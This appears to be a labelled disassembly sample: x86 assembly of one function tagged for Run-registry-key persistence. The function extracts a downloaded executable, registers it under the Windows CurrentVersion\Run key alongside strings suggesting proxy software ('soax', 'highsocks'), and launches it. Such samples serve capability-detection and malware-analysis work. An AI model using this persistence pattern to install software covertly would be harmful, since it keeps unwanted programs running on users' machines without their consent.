Function at 0x5ab0f4
Capabilities:
Persist via run registry key

Disassembly:
push 0x16c
mov eax, 0x654cb1
call fcn.00628f7d
mov edi, ecx
lea eax, [ebp - 0xe8]
push eax
call fcn.005aac11
push dword [edi + 0xb4]
lea eax, [ebp - 0xb8]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call fcn.005a9de1
push dword [edi + 0xb4]
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 1
push eax
call fcn.005a9e14
add esp, 0x10
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 2
push eax
mov ecx, edi
call fcn.005aaf03
lea eax, [edi + 4]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.005aa3de
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 4
push eax
call fcn.005b78f9
add esp, 0x10
test al, al
jne 0x5ab1ab
push str.downloaded_arch_not_found
lea ecx, [ebp - 0x40]
mov byte [edi + 0x9a], 1
call fcn.00449380
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 5
push eax
mov ecx, edi
call fcn.005a8017
mov byte [ebp - 4], 6
jmp 0x5ab20a
cmp dword [ebp - 0x48], 0
jne 0x5ab1da
push str.no_setting:_dest_exe
lea ecx, [ebp - 0x40]
mov byte [edi + 0x9a], 1
call fcn.00449380
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 7
push eax
mov ecx, edi
call fcn.005a8017
mov byte [ebp - 4], 8
jmp 0x5ab20a
cmp dword [ebp - 0xa8], 0
jne 0x5ab22b
push str.no_setting:_dest_dir
lea ecx, [ebp - 0x40]
mov byte [edi + 0x9a], 1
call fcn.00449380
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 9
push eax
mov ecx, edi
call fcn.005a8017
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.005c2dad
pop ecx
pop ecx
lea ecx, [ebp - 0x28]
call fcn.00449330
lea ecx, [ebp - 0x40]
call fcn.00449330
jmp 0x5ab582
lea ecx, [ebp - 0x178]
call fcn.005a18f8
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0xb
push eax
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x178]
call fcn.005a4c75
jmp 0x5ab25d
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x158], 0
jne 0x5ab255
cmp byte [ebp - 0x157], 0
je 0x5ab299
lea eax, [ebp - 0x28]
mov byte [edi + 0x9a], 1
push eax
mov ecx, edi
call fcn.005a8017
push eax
lea eax, [ebp - 0x154]
mov byte [ebp - 4], 0xc
push eax
call fcn.005c2dad
pop ecx
pop ecx
jmp 0x5ab56b
lea eax, [ebp - 0x58]
push eax
call fcn.005b78f9
pop ecx
test al, al
jne 0x5ab2ea
push str.no_dest_exe_after_extract
lea ecx, [ebp - 0x40]
mov byte [edi + 0x9a], 1
call fcn.00449380
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0xd
push eax
mov ecx, edi
call fcn.005a8017
push eax
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0xe
push eax
call fcn.005c2dad
pop ecx
pop ecx
lea ecx, [ebp - 0x28]
call fcn.00449330
lea ecx, [ebp - 0x40]
jmp 0x5ab56e
cmp byte [edi + 0x1c], 0
mov esi, 0x6d74e8
je 0x5ab431
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.005a8017
push str.soax
mov ecx, eax
call fcn.005a58fd
lea ecx, [ebp - 0x28]
mov bl, al
call fcn.00449330
lea ecx, [ebp - 0x28]
test bl, bl
je 0x5ab3aa
push str.highsocks
call fcn.00449380
push str.SoftwareMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xf
call fcn.00449380
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.005a0eb7
push esi
push eax
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x11
push eax
call fcn.005a0e4e
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0x12
push eax
lea eax, [ebp - 0x40]
push eax
push reloc.WS2_32.dll_accept
call fcn.005b95ff
add esp, 0x28
lea ecx, [ebp - 0x88]
call fcn.00449330
lea ecx, [ebp - 0x70]
call fcn.00449330
lea ecx, [ebp - 0x40]
call fcn.00449330
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call fcn.00449330
jmp 0x5ab42f
push str.SoftwareMicrosoftWindowsCurrentVersionRun
call fcn.00449380
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x13
push eax
lea eax, [ebp - 0x40]
push esi
push eax
call fcn.005a0eb7
push esi
push eax
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x14
push eax
call fcn.005a0e4e
add esp, 0x18
mov esi, eax
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 0x15
push eax
mov ecx, edi
call fcn.005a8017
push esi
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0x16
push eax
push reloc.WS2_32.dll_accept
call fcn.005b95ff
add esp, 0x10
lea ecx, [ebp - 0x70]
call fcn.00449330
lea ecx, [ebp - 0x88]
call fcn.00449330
lea ecx, [ebp - 0x40]
call fcn.00449330
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call fcn.00449330
mov esi, 0x6d74e8
xor ebx, ebx
cmp byte [edi + 0x1d], 0
je 0x5ab46c
lea eax, [ebp - 0x58]
push eax
call fcn.005bc87d
pop ecx
test al, al
jne 0x5ab46c
lea eax, [ebp - 0x70]
mov ecx, edi
push eax
call fcn.005a8017
push eax
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x17
push eax
call fcn.005bbeb1
pop ecx
pop ecx
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0xb
call fcn.00449330
mov ecx, edi
call fcn.005abfc6
test al, al
je 0x5ab516
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.005a0eb7
push 0x65de58
push eax
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x18
push eax
call fcn.005a0e4e
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x19
push ecx
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.005a0e25
add esp, 0x24
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x1a
push ecx
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.005a5a1a
mov ecx, eax
call fcn.005a5e22
neg al
lea ecx, [ebp - 0x70]
sbb al, al
inc al
mov byte [edi + 0x9a], al
call fcn.00449330
lea ecx, [ebp - 0x88]
call fcn.00449330
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call fcn.00449330
mov al, byte [edi + 0x9a]
test al, al
je 0x5ab575
call fcn.005d4e2c
push dword [eax + 0x4c]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.005b9a98
test eax, eax
pop ecx
sete al
mov byte [edi + 0x9a], al
pop ecx
test al, al
je 0x5ab575
push str.cant_launch_extracted_exe
lea ecx, [ebp - 0x28]
call fcn.00449380
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 0x1b
push eax
mov ecx, edi
call fcn.005a8017
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0x1c
push eax
call fcn.005c2dad
pop ecx
pop ecx
lea ecx, [ebp - 0x70]
call fcn.00449330
lea ecx, [ebp - 0x28]
call fcn.00449330
jmp 0x5ab577
mov bl, 1
lea ecx, [ebp - 0x178]
call fcn.005a1d6e
lea ecx, [ebp - 0xd0]
call fcn.00449330
lea ecx, [ebp - 0xa0]
call fcn.00449330
lea ecx, [ebp - 0x58]
call fcn.00449330
lea ecx, [ebp - 0xb8]
call fcn.00449330
lea ecx, [ebp - 0xe8]
call fcn.00449330
mov al, bl
call fcn.00628f2c
ret